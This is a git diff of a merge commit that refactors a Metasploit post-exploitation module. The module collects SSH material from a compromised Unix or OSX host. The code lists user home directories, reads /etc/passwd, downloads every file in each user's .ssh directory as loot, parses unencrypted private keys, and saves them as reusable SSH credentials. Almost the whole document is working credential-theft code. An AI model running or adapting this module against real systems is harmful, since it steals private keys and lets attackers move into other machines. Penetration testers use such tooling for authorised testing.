Merge branch 'gather-ssh-cleanup' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-gather-ssh-cleanup
commit
61cad28a8c
|
@ -13,11 +13,13 @@ require 'msf/core'
|
|||
require 'rex'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/common'
|
||||
require 'sshkey'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info(info,
|
||||
|
@ -36,23 +38,9 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def run
|
||||
print_status("Determining session platform and type...")
|
||||
case session.platform
|
||||
when /unix|linux|bsd/
|
||||
@platform = :unix
|
||||
paths = enum_users_unix
|
||||
when /osx/
|
||||
@platform = :osx
|
||||
paths = enum_users_osx
|
||||
else
|
||||
# Make sure we are can identify the platform if not set
|
||||
paths = platform_check
|
||||
|
||||
if paths.nil?
|
||||
print_error("Platform is not Unix or Linux based. This one is: #{session.platform.to_s}")
|
||||
return
|
||||
end
|
||||
end
|
||||
print_status("Finding .ssh directories")
|
||||
paths = enum_user_directories.map {|d| d + "/.ssh"}
|
||||
paths.select! { |d| directory?(d) }
|
||||
|
||||
if paths.nil? or paths.empty?
|
||||
print_error("No users found with a .ssh directory")
|
||||
|
@ -62,188 +50,47 @@ class Metasploit3 < Msf::Post
|
|||
download_loot(paths)
|
||||
end
|
||||
|
||||
def enum_users_unix
|
||||
id = whoami
|
||||
if id.nil? or id.empty?
|
||||
print_error("This session is not responding, perhaps the session is dead")
|
||||
end
|
||||
|
||||
if got_root?
|
||||
# Parse /etc/passwd to get all user directories and remove duplicates
|
||||
userdirs = cmd_exec("cut -d: -f 6 /etc/passwd | sort | uniq").gsub(/\s/, "\n")
|
||||
else
|
||||
print_status("We do not have root privileges")
|
||||
print_status("Checking #{id} account for .ssh directory")
|
||||
ssh = session.shell_command("grep ^#{id}: /etc/passwd | cut -d: -f 6")
|
||||
|
||||
ssh.each_line do |sshfile|
|
||||
sshfile.chomp!
|
||||
stat = cmd_exec("ls -d #{sshfile}/.ssh")
|
||||
next if stat =~ /No such file/i
|
||||
|
||||
print_status("Found .ssh directory for: #{id}")
|
||||
print_status("stat = #{stat}")
|
||||
return [stat]
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
# we got root check all user dirs
|
||||
paths = []
|
||||
userdirs.each_line do |dir|
|
||||
dir.chomp!
|
||||
next if dir == "." || dir == ".."
|
||||
|
||||
dir = dir + "/.ssh"
|
||||
|
||||
print_status("Checking for OpenSSH profile in: #{dir}")
|
||||
|
||||
stat = cmd_exec("ls #{dir}")
|
||||
if stat =~ /No such file/i
|
||||
print_error("OpenSSH profile not found in #{dir}")
|
||||
next
|
||||
else
|
||||
paths << "#{dir}"
|
||||
end
|
||||
end
|
||||
return paths
|
||||
end
|
||||
|
||||
def enum_users_osx
|
||||
id = whoami
|
||||
if id.nil? or id.empty?
|
||||
print_error("This session is not responding, perhaps the session is dead")
|
||||
end
|
||||
|
||||
home = "/Users/"
|
||||
if got_root?
|
||||
userdirs = cmd_exec("ls #{home}").gsub(/\s/, "\n")
|
||||
userdirs << "/var/root\n"
|
||||
else
|
||||
print_status("We do not have root privileges")
|
||||
print_status("Checking #{id} account for .ssh directory")
|
||||
ssh = cmd_exec("ls -d #{home}#{id}/.ssh")
|
||||
|
||||
ssh.each_line do |sshfile|
|
||||
sshfile.chomp!
|
||||
next if sshfile =~ /No such file/i
|
||||
|
||||
print_status("Found .ssh directory for: #{id}")
|
||||
return [sshfile]
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
# we got root check all user dirs
|
||||
paths = []
|
||||
userdirs.each_line do |dir|
|
||||
dir.chomp!
|
||||
next if dir == "." || dir == ".."
|
||||
|
||||
dir = dir + "/.ssh"
|
||||
|
||||
print_status("Checking for OpenSSH profile in: #{dir}")
|
||||
|
||||
stat = cmd_exec("ls #{dir}")
|
||||
if stat =~ /No such file/i
|
||||
print_error("OpenSSH profile not found in #{dir}")
|
||||
next
|
||||
end
|
||||
paths << "#{dir}"
|
||||
end
|
||||
return paths
|
||||
end
|
||||
|
||||
def download_loot(paths)
|
||||
loot = ""
|
||||
print_status("Looting #{paths.count} directories")
|
||||
paths.each do |path|
|
||||
path.chomp!
|
||||
if session.type == "meterpreter"
|
||||
session.fs.dir.foreach(path) do |file|
|
||||
print_good("Downloading #{file} file from: #{path}")
|
||||
file = path + "\\" + file
|
||||
fd = session.fs.file.new(file)
|
||||
begin
|
||||
until fd.eof?
|
||||
loot << fd.read
|
||||
end
|
||||
rescue EOFError
|
||||
ensure
|
||||
fd.close
|
||||
end
|
||||
sep = session.fs.file.separator
|
||||
files = session.fs.dir.entries(path)
|
||||
else
|
||||
# Guess, but it's probably right
|
||||
sep = "/"
|
||||
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
|
||||
end
|
||||
|
||||
file = file.split('\\').last
|
||||
store_loot("ssh.#{file}", "text/plain", session, loot, "ssh_#{file}", "OpenSSH #{file} File")
|
||||
end
|
||||
end
|
||||
if session.type != "meterpreter"
|
||||
files = cmd_exec("ls #{path}").gsub(/\s/, "\n")
|
||||
files.each_line do |file|
|
||||
file.chomp!
|
||||
print_good("Downloading #{path}/#{file}")
|
||||
data = read_file("#{path}/#{file}")
|
||||
file = file.split('/').last
|
||||
store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
|
||||
files.each do |file|
|
||||
print_good("Downloading #{path}#{sep}#{file} -> #{file}")
|
||||
data = read_file("#{path}#{sep}#{file}")
|
||||
file = file.split(sep).last
|
||||
loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
|
||||
"ssh_#{file}", "OpenSSH #{file} File")
|
||||
|
||||
# If the key is encrypted, this will fail and it won't be stored as a
|
||||
# cred. That's ok because we can't really use encrypted keys anyway.
|
||||
key = SSHKey.new(data, :passphrase => "") rescue nil
|
||||
if key and loot_path
|
||||
print_status("Saving private key #{file} as cred")
|
||||
cred_hash = {
|
||||
:host => session.session_host,
|
||||
:port => 22,
|
||||
:sname => 'ssh',
|
||||
:pass => loot_path,
|
||||
:source_type => "exploit",
|
||||
:type => 'ssh_key',
|
||||
:proof => "KEY=#{key.fingerprint}",
|
||||
:duplicate_ok => true,
|
||||
:active => true
|
||||
}
|
||||
report_auth_info(cred_hash)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def got_root?
|
||||
case @platform
|
||||
when :windows
|
||||
if session.sys.config.getuid =~ /SYSTEM/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
else # unix, bsd, linux, osx
|
||||
ret = whoami
|
||||
if ret =~ /root/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def whoami
|
||||
return cmd_exec("/usr/bin/whoami")
|
||||
end
|
||||
|
||||
def platform_check
|
||||
paths = nil
|
||||
|
||||
# uname might exist in a different location depending on the dsitro.
|
||||
# We will try these locations
|
||||
begin
|
||||
platform = cmd_exec("/bin/uname")
|
||||
rescue
|
||||
platform = nil
|
||||
end
|
||||
|
||||
# I guess we didn't get a uname, try again
|
||||
if platform.nil?
|
||||
begin
|
||||
platform = cmd_exec("/usr/bin/uname")
|
||||
rescue
|
||||
platform = nil
|
||||
end
|
||||
end
|
||||
|
||||
# still nothing, abort!
|
||||
return nil if platform.nil?
|
||||
|
||||
|
||||
if platform =~ /Linux|HPUX|AIX|Sun|Solaris|BSD/
|
||||
@platform = :unix
|
||||
paths = enum_users_unix
|
||||
elsif platform =~ /Darwin/
|
||||
@platform = :osx
|
||||
paths = enum_users_osx
|
||||
else
|
||||
print_error("Unsupported platform #{session.platform}")
|
||||
end
|
||||
return paths
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue